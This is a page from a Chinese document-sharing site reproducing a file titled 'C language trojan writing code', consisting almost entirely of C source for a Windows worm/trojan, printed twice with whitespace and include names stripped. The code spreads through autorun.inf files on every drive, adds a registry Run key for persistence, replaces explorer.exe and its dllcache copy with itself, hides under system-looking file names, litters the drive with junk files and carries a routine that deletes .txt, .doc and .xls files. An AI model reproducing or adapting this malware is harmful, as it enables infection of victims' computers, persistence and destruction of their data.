c语言木马编写代码.docx
- 文档编号:18601016
- 上传时间:2023-08-20
- 格式:DOCX
- 页数:13
- 大小:16.32KB
c语言木马编写代码.docx
《c语言木马编写代码.docx》由会员分享,可在线阅读,更多相关《c语言木马编写代码.docx(13页珍藏版)》请在冰点文库上搜索。
c语言木马编写代码
查看文章
c语言木马编写代码2009年03月24日星期二16:
20/*SVCHOST.C*/
/*SVCHOST.EXE*/
/*SVCHOST.COM*/
#include
#include
#include
#include
#include
#defineSVCHOST_NUM6/*关键位置病毒复制数量*/
#defineRUBBISH_NUM5/*垃圾文件数量*/
#defineREMOVE_NUM5/*删除文件数*/
/*====================================================================*/
/*
文件AUTORUN.INF内容:
1.自动运行SVCHOST.com
2.覆盖默认打开命令,使用病毒体作为新的打开方式
3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/
char*autorun={"[AutoRun]\nopen=\"SVCHOST.com/s\"\nshell\\open=打开(&O)\nshell\\open\\Command=\"SVCHOST.com/s\"\nshell\\explore=资源管理器(&X)\nshell\\explore\\Command=\"SVCHOST.com/s\""};
/*=====================================================================*/
/*
添加注册表项:
1.自动运行生成病毒体C:
\windows\
*/
char*regadd={"REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C:
\\\\windows\\\\/s\""};
/*=====================================================================*/
/*
函数:
复制文件
复制源:
infile
目的地:
outfile
成功返回0,失败返回1
*/
intcopy(char*infile,char*outfile)
{
FILE*input,*output;
chartemp;
if(strcmp(infile,outfile)!
=0&&((input=fopen(infile,"rb"))!
=NULL)&&((output=fopen(outfile,"wb"))!
=NULL))
{
while(!
feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return0;
}
elsereturn1;
}
/*=====================================================================*/
/*
函数:
通过explorer自动运行
成功返回0,失败返回1,2
*/
intautorun_explorer()
{
FILE*input;
if((input=fopen("c:
\\windows\\system\\explorer.exe","rb"))!
=NULL)
{
fclose(input);
remove("c:
\\windows\\$temp$");
remove("c:
\\windows\\system32\\dllcache\\$temp$");
return1;
}
copy("c:
\\windows\\explorer.exe","c:
\\windows\\system\\explorer.exe");
rename("c:
\\windows\\explorer.exe","c:
\\windows\\$temp$");
rename("c:
\\windows\\system32\\dllcache\\explorer.exe","c:
\\windows\\system32\\dllcache\\$temp$");
if(copy("SVCHOST.com","c:
\\windows\\explorer.exe")==0&©("SVCHOST.com","c:
\\windows\\system32\\dllcache\\explorer.exe")==0)
return0;
else
return2;
}
/*=====================================================================*/
/*
函数:
添加注册表项
成功返回0,失败返回1
*/
intadd_reg()
{
FILE*output;
if((output=fopen("$$$$$","w"))!
=NULL)
{
fprintf(output,regadd);
fclose(output);
spawnl(1,"c:
\\windows\\regedit.exe","/s$$$$$",NULL);
}
}
/*=====================================================================*/
/*
函数:
复制病毒+Autorun.inf自动运行
*/
voidcopy_virus()
{
inti,k;
FILE*input,*output;
char*files_svchost[SVCHOST_NUM]={"","c:
\\windows\\","c:
\\windows\\system\\MSMOUSE.DLL","c:
\\windows\\system32\\cmdsys.sys","c:
\\windows\\system32\\mstsc32.exe","c:
\\windows\\explorer.exe"};
chartemp[2][20]={"c:
\\","c:
\\autorun.inf"};
for(i=0;i { if((input=fopen(files_svchost[i],"rb"))! =NULL) { fclose(input); for(k=0;k { copy(files_svchost[i],files_svchost[k]); } i=SVCHOST_NUM; } } for(i=0;i { if((input=fopen(files_svchost[i],"rb"))! =NULL) { fclose(input); for(k=0;k<24;k++) { copy(files_svchost[i],temp[0]); if((output=fopen(temp[1],"w"))! =NULL) { fprintf(output,"%s",autorun); fclose(output); } temp[0][0]++; temp[1][0]++; } i=SVCHOST_NUM; } } } /*=====================================================================*/ /* 函数: 制造垃圾文件 */ voidmake_rubbish() { inti; FILE*output; srand(0); for(i=0;i { intn; chars[30]; n=rand(); sprintf(s,"C: \\DESTORY_感染_%d",n); if((output=fopen(s,"w"))! =NULL) { fprintf(output,"%ld%s",n*n,s); fclose(output); } } } /*=====================================================================*/ /* 函数: 删除文件 */ voidremove_files() { longdone; inti; struct_finddata_tffblk; char*remove_files[3]={"*.txt","*.doc","*.xls"}; for(i=0;i<3;i++) { if(_findfirst(remove_files[i],&ffblk)==-1)continue; while(! done) { remove(ffblk.name); _findnext(done,&ffblk); } _findclose(done); } } /*=====================================================================*/ /* 主程序 使用DEV-CPP32位C工程实现.C程序脱离命令行界面,于后台执行 */ intmain(intargc,char**argv) { intcontral=0; if(argc>1) if(strcmp(argv[1],"/s")==0) gotonext1; autorun_explorer(); spawnl(1,"c: \\windows\\system\\explorer.exe",NULL); next1: add_reg(); copy_virus(); make_rubbish(); /*remove_files();*/ spawnl(1,"c: \\windows\\system32\\mstsc32.exe","/s",NULL); return0; } #include #include #include #include #include #defineSVCHOST_NUM6 #defineRUBBISH_NUM5 #defineREMOVE_NUM5 char*autorun={"[AutoRun]\nopen=\"SVCHOST.com/s\"\nshell\\open=打开(&O)\nshell\\open\\Command=\"SVCHOST.com/s\"\nshell\\explore=资源管理器(&X)\nshell\\explore\\Command=\"SVCHOST.com/s\""}; char*regadd={"REGEDIT4\n\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32\"=\"C: \\\\windows\\\\/s\""}; intcopy(char*infile,char*outfile) { FILE*input,*output; chartemp; if(strcmp(infile,outfile)! =0&&((input=fopen(infile,"rb"))! =NULL)&&((output=fopen(outfile,"wb"))! =NULL)) { while(! feof(input)) { fread(&temp,1,1,input); fwrite(&temp,1,1,output); } fclose(input); fclose(output); return0; } elsereturn1; } intautorun_explorer() { FILE*input; if((input=fopen("c: \\windows\\system\\explorer.exe","rb"))! =NULL) { fclose(input); remove("c: \\windows\\$temp$"); remove("c: \\windows\\system32\\dllcache\\$temp$"); return1; } copy("c: \\windows\\explorer.exe","c: \\windows\\system\\explorer.exe"); rename("c: \\windows\\explorer.exe","c: \\windows\\$temp$"); rename("c: \\windows\\system32\\dllcache\\explorer.exe","c: \\windows\\system32\\dllcache\\$temp$"); if(copy("SVCHOST.com","c: \\windows\\explorer.exe")==0&©("SVCHOST.com","c: \\windows\\system32\\dllcache\\explorer.exe")==0) return0; else return2; } intadd_reg() { FILE*output; if((output=fopen("$$$$$","w"))! =NULL) { fprintf(output,regadd); fclose(output); spawnl(1,"c: \\windows\\regedit.exe","/s$$$$$",NULL); } } voidcopy_virus() { inti,k; FILE*input,*output; char*files_svchost[SVCHOST_NUM]={"","c: \\windows\\","c: \\windows\\system\\MSMOUSE.DLL","c: \\windows\\system32\\cmdsys.sys","c: \\windows\\system32\\mstsc32.exe","c: \\windows\\explorer.exe"}; chartemp[2][20]={"c: \\","c: \\autorun.inf"}; for(i=0;i { if((input=fopen(files_svchost[i],"rb"))! =NULL) { fclose(input); for(k=0;k { copy(files_svchost[i],files_svchost[k]); } i=SVCHOST_NUM; } } for(i=0;i { if((input=fopen(files_svchost[i],"rb"))! =NULL) { fclose(input); for(k=0;k<24;k++) { copy(files_svchost[i],temp[0]); if((output=fopen(temp[1],"w"))! =NULL) { fprintf(output,"%s",autorun); fclose(output); } temp[0][0]++; temp[1][0]++; } i=SVCHOST_NUM; } } } voidmake_rubbish() { inti; FILE*output; srand(0); for(i=0;i { intn; chars[30]; n=rand(); sprintf(s,"C: \\DESTORY_感染_%d",n); if((output=fopen(s,"w"))! =NULL) { fprintf(output,"%ld%s",n*n,s); fclose(output); } } } voidremove_files() { longdone; inti; struct_finddata_tffblk; char*remove_files[3]={"*.txt","*.doc","*.xls"}; for(i=0;i<3;i++) { if(_findfirst(remove_files[i],&ffblk)==-1)continue; while(! done) { remove(ffblk.name); _findnext(done,&ffblk); } _findclose(done); } } intmain(intargc,char**argv) { intcontral=0; if(argc>1) if(strcmp(argv[1],"/s")==0) gotonext1; autorun_explorer(); spawnl(1,"c: \\windows\\system\\explorer.exe",NULL); next1: add_reg(); copy_virus(); make_rubbish(); spawnl(1,"c: \\windows\\system32\\mstsc32.exe","/s",NULL); return0; }
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 语言 木马 编写 代码